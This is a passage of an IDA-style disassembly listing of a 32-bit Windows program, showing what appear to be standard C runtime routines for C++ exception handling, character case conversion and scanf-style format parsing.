		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_74229C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_7422A0
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_74229C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_7422A0, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41428D
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41870B
		mov	eax, [ebp+var_2C]


loc_4186D2:				; CODE XREF: sub_4186EB+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418645	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186E1	proc near		; DATA XREF: zugr1819:0041F810o
		push	dword ptr [ebp-14h]
		call	sub_418751
		pop	ecx
		retn
sub_4186E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186EB	proc near		; DATA XREF: zugr1819:0041F814o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4144EE
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_4186D2
sub_4186EB	endp

; ---------------------------------------------------------------------------


loc_418703:				; DATA XREF: zugr1819:0041F808o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41870B	proc near		; CODE XREF: sub_418645+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_74229C, eax
		mov	eax, [ebp-20h]
		mov	dword_7422A0, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_418750
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_418750
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_418750
		cmp	[ebp-24h], ebx
		jnz	short locret_418750
		cmp	[ebp-2Ch], ebx
		jz	short locret_418750
		call	sub_414556
		push	eax
		push	edi
		call	sub_41893F
		pop	ecx
		pop	ecx

locret_418750:				; CODE XREF: sub_41870B+1Cj
					; sub_41870B+22j ...
		retn
sub_41870B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418751	proc near		; CODE XREF: sub_4186E1+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_418778
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_418778
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_418778
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_418778
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418778:				; CODE XREF: sub_418751+Cj
					; sub_418751+12j ...
		xor	eax, eax
		retn
sub_418751	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41877B	proc near		; CODE XREF: sub_4185CA+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F818
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_418924
		cmp	byte ptr [eax+8], 0
		jz	loc_418924
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_418924
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_418818
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41BDAF
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41891B
		push	1
		push	edi
		call	sub_41BDCB
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41891B
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_418809:				; CODE XREF: sub_41877B+F5j
		push	eax
		call	sub_4189A6
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_418920
; ---------------------------------------------------------------------------


loc_418818:				; CODE XREF: sub_41877B+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_418872
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41BDAF
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41891B
		push	1
		push	edi
		call	sub_41BDCB
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41891B
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4145D0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_418920
		mov	eax, [edi]
		test	eax, eax
		jz	loc_418920
		add	esi, 8
		push	esi
		jmp	short loc_418809
; ---------------------------------------------------------------------------


loc_418872:				; CODE XREF: sub_41877B+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_4188BA
		call	sub_41BDAF
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41891B
		push	1
		push	edi
		call	sub_41BDCB
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41891B
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4189A6
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4145D0
		add	esp, 0Ch
		jmp	short loc_418920
; ---------------------------------------------------------------------------


loc_4188BA:				; CODE XREF: sub_41877B+103j
		call	sub_41BDAF
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41891B
		push	1
		push	edi
		call	sub_41BDCB
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41891B
		push	dword ptr [esi+18h]
		call	sub_41BDE7
		pop	ecx
		test	eax, eax
		jz	short loc_41891B
		test	byte ptr [esi],	4
		jz	short loc_418901
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4189A6
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_414201
		jmp	short loc_418920
; ---------------------------------------------------------------------------


loc_418901:				; CODE XREF: sub_41877B+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4189A6
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4141FA
		jmp	short loc_418920
; ---------------------------------------------------------------------------


loc_41891B:				; CODE XREF: sub_41877B+6Aj
					; sub_41877B+7Cj ...
		call	sub_418A72


loc_418920:				; CODE XREF: sub_41877B+98j
					; sub_41877B+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_418924:				; CODE XREF: sub_41877B+2Ej
					; sub_41877B+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41877B	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_418A1C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41893F	proc near		; CODE XREF: sub_41826A+170p
					; sub_41870B+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F828
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_418986
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_418986
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_4141FA
		or	[ebp+var_4], 0FFFFFFFFh


loc_418986:				; CODE XREF: sub_41893F+2Aj
					; sub_41893F+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41893F	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_418A1C

; =============== S U B	R O U T	I N E =======================================



sub_4189A6	proc near		; CODE XREF: sub_41877B+8Fp
					; sub_41877B+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_4189C7
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_4189C7:				; CODE XREF: sub_4189A6+12j
		pop	esi
		retn
sub_4189A6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4189D0	proc near		; CODE XREF: sub_41428D+40p
					; sub_418516+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_414579
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_418A0F
		mov	ecx, 2


loc_418A0F:				; CODE XREF: sub_4189D0+38j
		push	ecx
		call	sub_414579
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_4189D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A1C	proc near		; CODE XREF: sub_41826A:loc_41840Cj
					; sub_4185B4:loc_4185C5j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041BDFF SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F838
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_7422A8
		test	eax, eax
		jz	short loc_418A64
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_418A60
; ---------------------------------------------------------------------------


loc_418A59:				; DATA XREF: zugr1819:0041F848o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418A5D:				; DATA XREF: zugr1819:0041F84Co
		mov	esp, [ebp+var_18]


loc_418A60:				; CODE XREF: sub_418A1C+3Bj
		and	[ebp+var_4], 0


loc_418A64:				; CODE XREF: sub_418A1C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_418A6D:				; DATA XREF: zugr1819:0041F840o
		jmp	loc_41BDFF
sub_418A1C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A72	proc near		; CODE XREF: sub_41442F+23p
					; sub_41442F:loc_41449Ap ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F850
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_437B14
		test	eax, eax
		jz	short loc_418ABA
		mov	[ebp+var_4], 1
		call	eax ; sub_418A1C
		jmp	short loc_418AB6
; ---------------------------------------------------------------------------


loc_418AAF:				; DATA XREF: zugr1819:0041F860o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418AB3:				; DATA XREF: zugr1819:0041F864o
		mov	esp, [ebp+var_18]


loc_418AB6:				; CODE XREF: sub_418A72+3Bj
		and	[ebp+var_4], 0


loc_418ABA:				; CODE XREF: sub_418A72+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5
		jmp	sub_418A1C
sub_418A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AC8	proc near		; CODE XREF: sub_414913+7p
					; sub_414913+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_416979
		test	eax, eax
		pop	ecx
		jz	short loc_418AE0
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_418AE0:				; CODE XREF: sub_418AC8+Ej
		push	esi
		push	0
		push	dword_743880
		call	ds:off_41F180
		pop	esi
		retn
sub_418AC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_414B02+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_7422B4, 0
		push	ebx
		jnz	short loc_418B1C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_418BBA
		cmp	eax, 7Ah
		jg	loc_418BBA
		sub	eax, 20h
		jmp	loc_418BBA
; ---------------------------------------------------------------------------


loc_418B1C:				; CODE XREF: sub_418AF1+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_418B4F
		cmp	dword_4379BC, 1
		jle	short loc_418B3C
		push	2
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418B47
; ---------------------------------------------------------------------------


loc_418B3C:				; CODE XREF: sub_418AF1+3Dj
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_418B47:				; CODE XREF: sub_418AF1+49j
		test	eax, eax
		jnz	short loc_418B4F


loc_418B4B:				; CODE XREF: sub_418AF1+AFj
		mov	eax, ebx
		jmp	short loc_418BBA
; ---------------------------------------------------------------------------


loc_418B4F:				; CODE XREF: sub_418AF1+34j
					; sub_418AF1+58j
		mov	edx, off_4377B0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_418B72
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_418B7B
; ---------------------------------------------------------------------------


loc_418B72:				; CODE XREF: sub_418AF1+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_418B7B:				; CODE XREF: sub_418AF1+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_7422B4
		call	sub_419FC4
		add	esp, 20h
		test	eax, eax
		jz	short loc_418B4B
		cmp	eax, 1
		jnz	short loc_418BAD
		movzx	eax, [ebp+var_4]
		jmp	short loc_418BBA
; ---------------------------------------------------------------------------


loc_418BAD:				; CODE XREF: sub_418AF1+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_418BBA:				; CODE XREF: sub_418AF1+14j
					; sub_418AF1+1Dj ...
		pop	ebx
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBD	proc near		; CODE XREF: sub_414D21+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4195C3
		mov	edi, [ebp+arg_0]
		jmp	short loc_418BEC
; ---------------------------------------------------------------------------


loc_418BE7:				; CODE XREF: sub_418BBD+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_418BEC:				; CODE XREF: sub_418BBD+28j
		cmp	dword_4379BC, 1
		jle	short loc_418C04
		movzx	eax, al
		push	8
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418C13
; ---------------------------------------------------------------------------


loc_418C04:				; CODE XREF: sub_418BBD+36j
		mov	ecx, off_4377B0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_418C13:				; CODE XREF: sub_418BBD+45j
		cmp	eax, ebx
		jz	short loc_418C4D
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41964A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_419633
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41BEDE
		add	esp, 0Ch


loc_418C3B:				; CODE XREF: sub_418BBD+8Ej
		test	eax, eax
		jz	short loc_418C4D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41BEDE
		pop	ecx
		jmp	short loc_418C3B
; ---------------------------------------------------------------------------


loc_418C4D:				; CODE XREF: sub_418BBD+58j
					; sub_418BBD+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41952F
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_418C84:				; CODE XREF: sub_418BBD+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_4379BC, 1
		jle	short loc_418CA1
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418CB0
; ---------------------------------------------------------------------------


loc_418CA1:				; CODE XREF: sub_418BBD+D3j
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_418CB0:				; CODE XREF: sub_418BBD+E2j
		test	eax, eax
		jz	short loc_418CC6
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418CC6:				; CODE XREF: sub_418BBD+F5j
		cmp	ebx, 4Eh
		jg	short loc_418D09
		jz	short loc_418D2B
		cmp	ebx, 2Ah
		jz	short loc_418D04
		cmp	ebx, 46h
		jz	short loc_418D2B
		cmp	ebx, 49h
		jz	short loc_418CE6
		cmp	ebx, 4Ch
		jnz	short loc_418D18
		inc	[ebp+var_D]
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418CE6:				; CODE XREF: sub_418BBD+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_418D18
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_418D18
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418D04:				; CODE XREF: sub_418BBD+113j
		inc	[ebp+var_E]
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418D09:				; CODE XREF: sub_418BBD+10Cj
		cmp	ebx, 68h
		jz	short loc_418D25
		cmp	ebx, 6Ch
		jz	short loc_418D1D
		cmp	ebx, 77h
		jz	short loc_418D20


loc_418D18:				; CODE XREF: sub_418BBD+122j
					; sub_418BBD+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418D1D:				; CODE XREF: sub_418BBD+154j
		inc	[ebp+var_D]


loc_418D20:				; CODE XREF: sub_418BBD+159j
		inc	[ebp+var_5]
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418D25:				; CODE XREF: sub_418BBD+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_418D2B:				; CODE XREF: sub_418BBD+107j
					; sub_418BBD+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_418C84
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_418D50
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_418D50:				; CODE XREF: sub_418BBD+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_418D6E
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_418D6A
		cmp	al, 43h
		jz	short loc_418D6A
		or	[ebp+var_5], 0FFh
		jmp	short loc_418D6E
; ---------------------------------------------------------------------------


loc_418D6A:				; CODE XREF: sub_418BBD+1A1j
					; sub_418BBD+1A5j
		mov	[ebp+var_5], 1


loc_418D6E:				; CODE XREF: sub_418BBD+19Bj
					; sub_418BBD+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_418DA7
		cmp	esi, 63h
		jz	short loc_418D98
		cmp	esi, 7Bh
		jz	short loc_418D98
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41964A
		pop	ecx
		jmp	short loc_418DA3
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418BBD+1C5j
					; sub_418BBD+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619


loc_418DA3:				; CODE XREF: sub_418BBD+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_418DA7:				; CODE XREF: sub_418BBD+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_418DB7
		cmp	[ebp+var_C], eax
		jz	loc_419593


loc_418DB7:				; CODE XREF: sub_418BBD+1EFj
		cmp	esi, 6Fh
		jg	loc_41901E
		jz	loc_4192D0
		cmp	esi, 63h
		jz	loc_418FFB
		cmp	esi, 64h
		jz	loc_4192D0
		jle	loc_419048
		cmp	esi, 67h
		jle	short loc_418E1B
		cmp	esi, 69h
		jz	short loc_418E03
		cmp	esi, 6Eh
		jnz	loc_419048
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4194FE
		jmp	loc_419524
; ---------------------------------------------------------------------------


loc_418E03:				; CODE XREF: sub_418BBD+229j
		push	64h
		pop	esi


loc_418E06:				; CODE XREF: sub_418BBD+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_419090
		mov	[ebp+var_17], 1
		jmp	loc_419095
; ---------------------------------------------------------------------------


loc_418E1B:				; CODE XREF: sub_418BBD+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_418E37
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_418E3C
; ---------------------------------------------------------------------------


loc_418E37:				; CODE XREF: sub_418BBD+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_418E53


loc_418E3C:				; CODE XREF: sub_418BBD+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_418E56
; ---------------------------------------------------------------------------


loc_418E53:				; CODE XREF: sub_418BBD+27Dj
		mov	edi, [ebp+arg_0]


loc_418E56:				; CODE XREF: sub_418BBD+294j
		cmp	[ebp+var_20], 0
		jz	short loc_418E65
		cmp	[ebp+var_C], 15Dh
		jle	short loc_418E6C


loc_418E65:				; CODE XREF: sub_418BBD+29Dj
		mov	[ebp+var_C], 15Dh


loc_418E6C:				; CODE XREF: sub_418BBD+2A6j
					; sub_418BBD+2F2j
		cmp	dword_4379BC, 1
		jle	short loc_418E81
		push	4
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418E8C
; ---------------------------------------------------------------------------


loc_418E81:				; CODE XREF: sub_418BBD+2B6j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_418E8C:				; CODE XREF: sub_418BBD+2C2j
		test	eax, eax
		jz	short loc_418EB1
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_418EB1
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_418E6C
; ---------------------------------------------------------------------------


loc_418EB1:				; CODE XREF: sub_418BBD+2D1j
					; sub_418BBD+2DBj
		cmp	byte_4379C0, bl
		jnz	short loc_418F1F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_418F1F
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		mov	al, byte_4379C0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_418EDA:				; CODE XREF: sub_418BBD+360j
		cmp	dword_4379BC, 1
		jle	short loc_418EEF
		push	4
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418EFA
; ---------------------------------------------------------------------------


loc_418EEF:				; CODE XREF: sub_418BBD+324j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_418EFA:				; CODE XREF: sub_418BBD+330j
		test	eax, eax
		jz	short loc_418F1F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_418F1F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_418EDA
; ---------------------------------------------------------------------------


loc_418F1F:				; CODE XREF: sub_418BBD+2FAj
					; sub_418BBD+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_418FB7
		cmp	ebx, 65h
		jz	short loc_418F37
		cmp	ebx, 45h
		jnz	loc_418FB7


loc_418F37:				; CODE XREF: sub_418BBD+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_418FB7
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_418F5E
		mov	[esi], al
		inc	esi
		jmp	short loc_418F63
; ---------------------------------------------------------------------------


loc_418F5E:				; CODE XREF: sub_418BBD+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_418F81


loc_418F63:				; CODE XREF: sub_418BBD+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_418F72
		and	[ebp+var_C], eax
		jmp	short loc_418F81
; ---------------------------------------------------------------------------


loc_418F72:				; CODE XREF: sub_418BBD+3AEj
					; sub_418BBD+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_418F81:				; CODE XREF: sub_418BBD+3A4j
